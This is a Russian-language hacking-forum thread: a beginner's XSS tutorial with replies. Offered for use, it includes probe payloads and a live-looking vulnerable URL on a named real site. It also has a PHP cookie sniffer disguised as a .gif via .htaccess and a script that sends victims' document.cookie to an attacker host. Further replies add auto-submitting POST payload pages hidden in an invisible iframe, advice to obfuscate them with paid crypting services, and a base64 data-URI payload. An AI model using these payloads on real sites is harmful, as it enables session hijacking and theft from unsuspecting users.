XSS. Межсайтовый скриптинг Моя первая статья, Автор: mr.Penguin Вступление XSS - тип уязвимости, позволяющий вставить произвольный JavaScript код в тело страницы сайта. XSS расшифровывается как Cross Site Scripting. Для термина используют сокращение "XSS", чтобы не было путаницы с "CSS" (каскадные таблицы стилей - приминяются в оформлении страницы сайта). Для чего служит? XSS служит для атаки пользователей, просматривающих зараженную страницу. Чаще всего, данную уязвимость используют для кражи cookies (применяется для сохранения данных на стороне юзера) у пользователя. Виды XSS Уязвимостей Типы уязвимостей делятся на два вида. #1 Активная XSS. Данный тип уязвимости хранится на сервере, и срабатывает в браузере жертвы при открытии какой-либо страницы зараженного сайта. Чаще всего, активную XSS можно встретить в чатах/блогах/новостных лентах/комментариях. #2 Пассивная XSS. Пассивная XSS-атака получается при конкретном запросе к скрипту. Параметры передаются через GET и POST запросы. В отличие от POST запроса, с GET`ом намного проще. На мой взгяд, пассивные xss - самые неудобные уязвимости для осуществления атаки на сайте. XSS на примере Чтобы найти пассивную XSS на сайте, достаточно подставить в форму ввода следующий код: Code: <script>alert('xss')</script> Если скрипт сработал и у вас вылезло окно с текстом "xss", то пассивная XSS уязвимость присутствует на сайте. Если у вас ничего не получилось, то не расстраивайтесь - можно попробовать и такой код: Code: "><script>alert('xss')</script> Если ни один из представленных кодов не сработал, то скорее всего уязвимость отсутствует на сайте. Рассмотрим на примере работу пассивной XSS. Давайте зайдем на какой-нибудь сайт и найдем там поиск. Параметры передаются через GET запрос. В форму ввода пишем Code: "><script>alert('xss')</script> и нажимаем кнопку "Найти. В адресной строке у нас должно получится что-то вроде этого: Code: http://site.ru/search.php?q="><script>alert('xss')</script> Если на сайте отсутствует фильтрация HTML-тегов, то у вас должно выскочить окно с текстом "xss", если окна нет, то пассивная xss на сайте отсутствует. Вот готовый пример пассивной XSS на Online-переводчике - Code: http://www.translate.ru/siteTranslation/autolink/?direction=ar&template=General&sourceURL="><script>alert('xss')</script> Использование XSS для кражи cookies пользователя Для того, чтобы украсть cookies пользователя, нам понадобиться онлайн-сниффер. Его можно найти в интернете, но можно использовать и свой. Нам понадобиться два файла: 1) file.php - В нем и будет находится наш снифер PHP: <?php $snif[] = date("d.m.Y H:i"); $snif[] = $_SERVER['REMOTE_ADDR']; @$snif[] = $_SERVER['HTTP_REFERER']; @$snif[] = $_SERVER['QUERY_STRING']; $snif[] = $_SERVER['HTTP_USER_AGENT']; $file = "file.txt"; $s = fopen($file,"a+"); @$sa = fread ($s,filesize($file)); $fp = fopen($file,"w"); foreach ($snif as $sniffed) { fwrite($fp,"\n".$sniffed); } fwrite($fp,"\n"); fwrite($s,$sa); fclose($s); fclose($fp); ?> 2) file.txt - файл, который будет записывать все данные с нашего сниффера. Можно поменять расширение "php" на "gif", чтобы наш скрипт не вызывал никаких подозрений. Тут нам поможет ".htaccess", в котором мы пропишем следующее: Code: <Files "g.gif"> AddType application/x-httpd-php .gif </Files или использовать такой код (расширение "gif" будет использоваться как "php" Code: AddType application/x-httpd-php .gif AddHandler application/x-httpd-php .gif Если использовать второй код, то достаточно создать файл "ваше_название.gif" и прописать туда код, который указан в "file.php". Теперь давайте попробуем составить запрос: Code: <script>img= new Image(); img.src="www.site.ru/ваше_название.gif?"+document.cookie</script> Вот и всё. По идее, в наш файл "file.txt" должны прийти кукисы пользователя. Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем. Спасибо за внимание. P.S. Не забывайте про фильтрацию HTML-тегов. Различные способы вставки JavaScript кода вы можете посмотреть здесь. P.S2 Статья будет дополняться. Вторая часть статьи: Проводим XSS через POST
Эта статья рассчитана на новичков. Я владею достаточной информацией про данный тип уязвимости, но решил написать всего лишь представление об этой уязвимости. Именно поэтому в конце написал "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем.", а это значит - постараюсь ответить на вопрос пользователя и может быть, Вы или кто-то другой узнает что-то новое.
Регистрация: 08.03.2012 Человек, который зарегистрировался только, чтобы написать статью, поделится знаниями! Браво =)
Таких статей для новичков и где люди пишут в конце "Если у вас возникли вопросы по данной уязвимости или у вас не получается что-либо реализовать, то пишите в эту тему, я с радостью отвечу и помогу вам разобраться во всем." МОРЕ! Так понятней?
а че ни слова не написал про обход фильрации при проведении атаки? проблема весьма актуальная. Выложил бы софт по проведению данной атаки для упрощения и автоматиизации процесса. Доведи до ума Статью если хочешь похвалы!
Ну вот и еще одна появилась. Я думаю, что никто не против. Пусть люди задают вопросы по XSS, глядишь и Вы что-нибудь новенькое узнаете (как я понимаю, Вы не гуру в XSS - в одной теме ваше сообщение видел). Согласен, проблема весьма актуальная - поэтому совсем скоро начну писать вторую часть статьи, где Вы подробно сможете прочесть про фильтрацию. А насчет софта - думаю, что это лишнее. Ведь приятнее делать все своими руками.
Основные замечания по статье: XSS делятся не на два типа, а на три: 1) Активные (хранимые) 2) Пассивные (отраженные) 3) DOM-based Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла) Кража сессии - не единственная возможность XSS (чтение данных со страниц сайта, выполнение запросов, доступ к локальному хранилищу, базам данных) Не написано о практической эксплуатации пассивных XSS (прямой переход по ссылке, шифрование, сокращение, скрытые фреймы) Это неправильно: PHP: <script>img= new Image(); img.src="www.site.ru/ваше_название.gif?"+document.cookie</script> www.site.ru будет восприниматься как директория относительно текущей. Никаких действий с объектом img в дальнейшем не производится, поэтому можно сократить код так: PHP: <script>(new Image()).src='//www.site.ru/ваше_название.gif?'+document.cookie</script> или с явным указанием протокола: PHP: <script>(new Image()).src='http://www.site.ru/ваше_название.gif?'+document.cookie</script> Непонятно, зачем менять расширение на .gif php-скрипту, сохраняющему куки.
M_script, согласен. Но я решил написать о двух основных типах XSS. Code: Указанные векторы атак не подходят для надежной проверки на XSS-уязвимость. Желательно проверять вручную на фильтрацию определенных символов (в зависимости от места вывода), чтобы не вызвать подозрения у администрации сайта. В крайнем случае, можно использовать универсальные векторы XSS (где их найти, спросите у гугла) И тут я полностью согласен, но я думаю, что это простительно. Все-таки первая статья В следующий раз постараюсь написать всё внятней.
Раз пишешь для новичков, описал бы уже применение post пасивок. Меня, в своё время, это интересовало больше всего.
По просьбе mr.The, сейчас я попробую рассказать вам про проведение пассивной XSS через POST запрос. Я не буду писать подробную статью, а лишь покажу азы проведения XSS через POST. Так что же нам понадобится, чтобы провести XSS через POST? Нам нужна обычная HTML страница, в которой будет содержаться скрипт автоматической отправки формы. Давайте создадим страницу и назовем ее xss.html Я предоставлю Вам четыре варианта отправки пассивной POST XSS. Вариант #1 Code: <form name=TheFormXSS action=http://site.ru method=post> <input type=hidden name="text" value='<script>alert(document.cookie)</script>'> </form> <script> document.TheFormXSS.submit(); </script> Вариант #2 (самый плохой вариант, не автоматический) Code: <html> <body onload="document.forms['primer'].submit();"> <form action="http://site.ru" method="post" name="primer"> <input type=text name="text" value="<script>alert(document.cookie)</script>"> <input type=submit name="submit" value="Поиск"> </form> </body> </html> Вариант #3 Code: <form method="post" action="http://site.ru"> <input type="hidden" name="text" value="<script>alert(document.cookie)</script>"> </form> <script type="text/javascript"> document.getElementsByTagName('form')[0].submit(); </script> Вариант #4 (мой любимый вариант, самый простой) Code: <body onload="xss.submit()"> <form action="http://site.ru" method="post" id="xss"> <input type=hidden name="text" value='<script>alert(document.cookie)</script>'> Единственный минус у всех четырех вариантов, это то, что наша жертва попадет на наш уязвимый сайт, что не есть хорошо. Для этого нам понадобится невидимый iframe, давайте создадим страницу iframe.html и запишем в него следующий код: Code: <iframe src='http://site.ru/xss.html' width='0' height='0' style='display:none'></iframe> На этом все. Можно также зашифровать наш фрейм. Для этого существуют различные сервисы шифровки HTML кода (Крипт сервисы). Они делятся на два типа: бесплатные и платные. Бесплатный можно найти, погуглив в интернете (кл. слово зашифровать html код), но я советую Вам воспользоваться платным криптом. Они надежнее. Спасибо за внимание
и так, раз для новичков, пожалуй начнем =) сначала хочу сказать спасибо, за старание/статью теперь ближе к делу что такое форма ввода ? куда вводить точнее ? =))) когда подставляю в конце линка этот алерт, он просто лезит в гугл и пытается найти инфу и с чего начиналась твоя деятельность по сей направлению ? книги, мануалы, статьи и т.п что бы уметь находить подобные уязвимости в сайтах, нужно шарить в сайто-строении ? или не обязательно ?
Ну я думаю, что почти каждый юзверь, который хочет познать мир XSS, знает, что такое форма ввода. Ну а если нет, то объясню. Что под формой ввода я подразумеваю ввод пароля и логина для авторизации на сайте или же для поиска необходимой информации. Познавал данный тип уязвимостей я сам, но конечно же читал и статьи, без них - ничего нормального не узнаешь. Что бы уметь находить подобные уязвимости в сайтах, необходимо "шарить" в сайтостроении, хотя-бы на базовом уровне.
а где написанно про самодостаточную xss?? про такой тип data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ а ведь еще недавно она прокатывала на майле в теле письма